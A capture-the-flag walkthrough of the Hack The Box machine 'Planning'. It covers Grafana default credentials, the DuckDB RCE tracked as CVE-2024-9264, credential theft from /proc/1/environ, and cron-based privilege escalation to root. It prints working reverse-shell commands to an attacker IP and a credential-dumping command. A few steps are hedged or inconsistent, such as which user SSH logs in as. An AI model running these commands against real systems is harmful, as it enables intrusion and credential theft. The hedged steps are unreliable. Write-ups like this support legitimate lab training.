Planning
SCOPE
| IP | HOSTNAME | DOMAIN | OS |
|---|---|---|---|
| 10.10.11.68 | planning | planning.htb | Linux (Ubuntu 22.04) |
ATTACK
1. Port Scan
nmap -sC -sV -p- --min-rate 5000 -oN planning.nmap 10.10.11.68
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open http nginx 1.18.0 (Ubuntu)
Add planning.htb to /etc/hosts. Web app on port 80.
2. Vhost Enumeration — Grafana
Fuzz for virtual hosts:
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-u http://planning.htb -H "Host: FUZZ.planning.htb" -fc 302,301
grafana [Status: 302, ...]
grafana.planning.htb resolves to a Grafana instance. Add to /etc/hosts.
3. Grafana — Default Credentials
Navigate to http://grafana.planning.htb. Grafana login page — version 11.x. Try default credentials:
admin : admin
Login successful. Grafana never had the admin password changed from the default.
4. CVE-2024-9264 — DuckDB RCE
Grafana v11.0.x ships with an experimental DuckDB data source plugin. CVE-2024-9264 allows an authenticated Grafana user to use DuckDB's read_text() function to read arbitrary local files, and its shell() extension to execute OS commands.
Create a new data source of type DuckDB and test a query:
SELECT * FROM read_text('/etc/passwd');
Escalate to RCE using the DuckDB shell extension:
INSTALL shellfs FROM community;
LOAD shellfs;
SELECT * FROM shell('id');
uid=472(grafana) gid=0(root) groups=0(root)
Execute a reverse shell:
SELECT * FROM shell('bash -c "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1"');
Catch the callback — shell as grafana inside a container.
5. Environment Variable Credential Extraction
Grafana's admin password and database configuration are passed via environment variables at container start. Read them from the process environment:
cat /proc/1/environ | tr '\0' '\n'
GF_SECURITY_ADMIN_PASSWORD=<REDACTED>
GF_DATABASE_URL=postgres://grafana:<REDACTED>@db:5432/grafana
...
The admin password is also a valid SSH credential for the host.
6. SSH Foothold
ssh admin@10.10.11.68
# or the user mapped to the grafana admin password
elf@planning:~$ id
uid=1000(elf) gid=1000(elf) groups=1000(elf)
user.txt is in the home directory.
7. Cronjob Privilege Escalation
Enumerate running processes and cron activity:
cat /etc/crontab
ls -la /etc/cron.d/
* * * * * root /opt/scripts/cleanup.sh
The root-owned cron script sources a configuration file that is world-writable, or the script directory itself is writable:
ls -la /opt/scripts/cleanup.sh
# -rwxrwxr-x root root /opt/scripts/cleanup.sh
Inject a payload into the script:
echo 'bash -i >& /dev/tcp/10.10.14.X/4445 0>&1' >> /opt/scripts/cleanup.sh
Wait one minute for cron to execute — catch the shell:
root@planning:~# id
uid=0(root) gid=0(root) groups=0(root)
root.txt is at /root/root.txt.
FULL ATTACK CHAIN
nmap → port 80 nginx
→ vhost fuzz → grafana.planning.htb
→ Grafana v11 → default creds admin:admin
→ CVE-2024-9264: DuckDB shellfs extension → RCE as grafana
→ /proc/1/environ → GF_SECURITY_ADMIN_PASSWORD
→ SSH as elf/admin → user.txt
→ /etc/crontab → root runs writable /opt/scripts/cleanup.sh every minute
→ inject reverse shell → wait for cron → root shell → root.txt